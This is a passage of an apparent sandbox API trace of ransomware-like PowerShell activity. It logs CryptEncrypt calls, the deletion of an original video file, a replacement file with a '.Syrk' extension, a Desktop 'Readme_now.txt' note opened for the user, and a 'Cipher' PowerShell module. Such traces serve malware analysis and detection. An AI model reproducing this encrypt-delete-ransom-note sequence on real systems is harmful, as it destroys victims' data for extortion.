hKey=0x5c997a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x255774c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x255774c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0262.497] CryptEncrypt (in: hKey=0x5c997a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2557768*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2557768*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0262.497] WriteFile (in: hFile=0x368, lpBuffer=0x253f258*, nNumberOfBytesToWrite=0x674, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x253f258*, lpNumberOfBytesWritten=0x5a2e7f8*=0x674, lpOverlapped=0x0) returned 1 [0262.498] CloseHandle (hObject=0x368) returned 1 [0262.500] CloseHandle (hObject=0x364) returned 1 [0262.500] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.501] EtwEventActivityIdControl () returned 0x0 [0262.501] EtwEventActivityIdControl () returned 0x0 [0262.501] EtwEventActivityIdControl () returned 0x0 [0262.506] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4")) returned 0x20 [0262.517] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0262.517] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", lpFilePart=0x0) returned 0x24 [0262.517] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0262.518] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0262.518] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0262.518] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0262.518] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0262.518] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0262.518] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0262.518] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0262.518] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0262.518] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0262.518] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0262.518] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0262.519] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0262.519] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0262.519] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0262.519] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0262.519] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4")) returned 0x20 [0262.519] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0262.519] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", lpFilePart=0x0) returned 0x24 [0262.522] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0262.522] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", lpFilePart=0x0) returned 0x24 [0262.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0262.522] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0262.522] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", lpFilePart=0x0) returned 0x24 [0262.522] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0262.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0262.523] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0262.523] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0262.523] CoTaskMemFree (pv=0x3b0008) [0262.524] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4")) returned 0x20 [0262.524] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0262.525] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4", lpFilePart=0x0) returned 0x24 [0262.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0262.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2364504 | out: lpFileInformation=0x2364504*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1204b4b0, ftCreationTime.dwHighDateTime=0x1d99726, ftLastAccessTime.dwLowDateTime=0x468eb5b0, ftLastAccessTime.dwHighDateTime=0x1d998c4, ftLastWriteTime.dwLowDateTime=0x468eb5b0, ftLastWriteTime.dwHighDateTime=0x1d998c4, nFileSizeHigh=0x0, nFileSizeLow=0x657)) returned 1 [0262.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0262.525] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4")) returned 1 [0262.526] EtwEventActivityIdControl () returned 0x0 [0262.527] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.527] EtwEventActivityIdControl () returned 0x0 [0262.527] EtwEventActivityIdControl () returned 0x0 [0262.527] EtwEventActivityIdControl () returned 0x0 [0262.534] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4.syrk")) returned 0x20 [0262.535] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4.syrk")) returned 0x20 [0262.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0262.535] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4.Syrk", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4.Syrk", lpFilePart=0x0) returned 0x29 [0262.536] EtwEventActivityIdControl () returned 0x0 [0262.536] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.536] EtwEventActivityIdControl () returned 0x0 [0262.536] EtwEventActivityIdControl () returned 0x0 [0262.536] EtwEventActivityIdControl () returned 0x0 [0262.550] EtwEventActivityIdControl () returned 0x0 [0262.550] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.550] EtwEventActivityIdControl () returned 0x0 [0262.550] EtwEventActivityIdControl () returned 0x0 [0262.550] EtwEventActivityIdControl () returned 0x0 [0262.555] EtwEventActivityIdControl () returned 0x0 [0262.555] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.556] EtwEventActivityIdControl () returned 0x0 [0262.556] EtwEventActivityIdControl () returned 0x0 [0262.556] EtwEventActivityIdControl () returned 0x0 [0262.559] EtwEventActivityIdControl () returned 0x0 [0262.560] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.560] EtwEventActivityIdControl () returned 0x0 [0262.560] EtwEventActivityIdControl () returned 0x0 [0262.560] EtwEventActivityIdControl () returned 0x0 [0262.563] EtwEventActivityIdControl () returned 0x0 [0262.564] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.564] EtwEventActivityIdControl () returned 0x0 [0262.564] EtwEventActivityIdControl () returned 0x0 [0262.564] EtwEventActivityIdControl () returned 0x0 [0262.568] EtwEventActivityIdControl () returned 0x0 [0262.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0262.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\ZHli4r.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\zhli4r.mp4.syrk"), fInfoLevelId=0x0, lpFileInformation=0x236d4c4 | out: lpFileInformation=0x236d4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17f00a10, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x17f00a10, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x17f26b70, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x674)) returned 1 [0262.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0262.574] GetConsoleOutputCP () returned 0x1b5 [0262.574] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.574] GetConsoleOutputCP () returned 0x1b5 [0262.574] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.574] GetConsoleOutputCP () returned 0x1b5 [0262.574] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.574] GetConsoleOutputCP () returned 0x1b5 [0262.575] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.575] GetConsoleOutputCP () returned 0x1b5 [0262.575] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.575] GetConsoleOutputCP () returned 0x1b5 [0262.575] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.575] GetConsoleOutputCP () returned 0x1b5 [0262.575] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.575] GetConsoleOutputCP () returned 0x1b5 [0262.575] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.576] GetConsoleOutputCP () returned 0x1b5 [0262.576] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.576] GetConsoleOutputCP () returned 0x1b5 [0262.576] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.576] GetConsoleOutputCP () returned 0x1b5 [0262.576] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.576] GetConsoleOutputCP () returned 0x1b5 [0262.576] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.576] GetConsoleOutputCP () returned 0x1b5 [0262.577] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.577] GetConsoleOutputCP () returned 0x1b5 [0262.577] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.577] GetConsoleOutputCP () returned 0x1b5 [0262.577] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.577] GetConsoleOutputCP () returned 0x1b5 [0262.577] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.577] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0262.578] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0262.578] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2387698*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2387698*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0262.579] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0262.579] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0262.580] EtwEventActivityIdControl () returned 0x0 [0262.580] EtwEventActivityIdControl () returned 0x0 [0262.715] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ec24, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.778] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebb8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.857] EtwEventActivityIdControl () returned 0x0 [0262.857] EtwEventActivityIdControl () returned 0x0 [0262.857] EtwEventActivityIdControl () returned 0x0 [0263.028] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\readme_now.txt")) returned 0xffffffff [0263.060] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0263.061] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt", lpFilePart=0x0) returned 0x29 [0263.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb4c) returned 1 [0263.061] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\readme_now.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0263.065] GetFileType (hFile=0x364) returned 0x1 [0263.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb48) returned 1 [0263.065] GetFileType (hFile=0x364) returned 0x1 [0263.067] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2ec74 | out: lpConsoleScreenBufferInfo=0x5a2ec74) returned 1 [0263.073] EtwEventActivityIdControl () returned 0x0 [0263.073] EtwEventActivityIdControl () returned 0x0 [0263.073] EtwEventActivityIdControl () returned 0x0 [0263.109] EtwEventActivityIdControl () returned 0x0 [0263.109] EtwEventActivityIdControl () returned 0x0 [0263.109] EtwEventActivityIdControl () returned 0x0 [0263.111] EtwEventActivityIdControl () returned 0x0 [0263.111] EtwEventActivityIdControl () returned 0x0 [0263.111] EtwEventActivityIdControl () returned 0x0 [0263.112] WriteFile (in: hFile=0x364, lpBuffer=0x23af43c*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x5a2eca0, lpOverlapped=0x0 | out: lpBuffer=0x23af43c*, lpNumberOfBytesWritten=0x5a2eca0*=0xea, lpOverlapped=0x0) returned 1 [0263.114] EtwEventActivityIdControl () returned 0x0 [0263.114] EtwEventActivityIdControl () returned 0x0 [0263.114] EtwEventActivityIdControl () returned 0x0 [0263.115] EtwEventActivityIdControl () returned 0x0 [0263.116] EtwEventActivityIdControl () returned 0x0 [0263.116] EtwEventActivityIdControl () returned 0x0 [0263.116] CloseHandle (hObject=0x364) returned 1 [0263.118] EtwEventActivityIdControl () returned 0x0 [0263.118] EtwEventActivityIdControl () returned 0x0 [0263.119] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ec24, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0263.203] EtwEventActivityIdControl () returned 0x0 [0263.203] EtwEventActivityIdControl () returned 0x0 [0263.203] EtwEventActivityIdControl () returned 0x0 [0263.222] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb08, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0263.226] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\readme_now.txt")) returned 0x20 [0263.227] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0263.228] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt", lpFilePart=0x0) returned 0x29 [0263.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e960) returned 1 [0263.228] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\readme_now.txt"), fInfoLevelId=0x0, lpFileInformation=0x5a2ec24 | out: lpFileInformation=0x5a2ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18481cf0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x18481cf0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x1851a270, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xea)) returned 1 [0263.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e95c) returned 1 [0263.228] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt" (normalized: "c:\\users\\keecfmwgj\\desktop\\readme_now.txt")) returned 0x20 [0263.232] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0263.237] LocalAlloc (uFlags=0x0, uBytes=0x54) returned 0x5c69800 [0263.237] LocalAlloc (uFlags=0x0, uBytes=0x36) returned 0x5c99520 [0263.239] ShellExecuteExW (in: pExecInfo=0x23c4ef4*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt", lpParameters=0x0, lpDirectory="C:\\Users\\kEecfMwgj\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x23c4ef4*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\Desktop\\Readme_now.txt", lpParameters=0x0, lpDirectory="C:\\Users\\kEecfMwgj\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x4bc)) returned 1 [0263.513] LocalFree (hMem=0x5c69800) returned 0x0 [0263.513] LocalFree (hMem=0x5c99520) returned 0x0 [0263.516] EtwEventActivityIdControl () returned 0x0 [0263.517] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ec24, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0263.518] EtwEventActivityIdControl () returned 0x0 [0263.518] EtwEventActivityIdControl () returned 0x0 [0263.518] EtwEventActivityIdControl () returned 0x0 [0263.541] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0263.543] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.543] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e98c) returned 1 [0263.543] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0263.543] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0263.544] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2e73c | out: lpFindFileData=0x5a2e73c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c99520 [0263.544] FindNextFileW (in: hFindFile=0x5c99520, lpFindFileData=0x5a2e764 | out: lpFindFileData=0x5a2e764*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.544] FindNextFileW (in: hFindFile=0x5c99520, lpFindFileData=0x5a2e764 | out: lpFindFileData=0x5a2e764*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0263.545] FindClose (in: hFindFile=0x5c99520 | out: hFindFile=0x5c99520) returned 1 [0263.545] SetThreadErrorMode 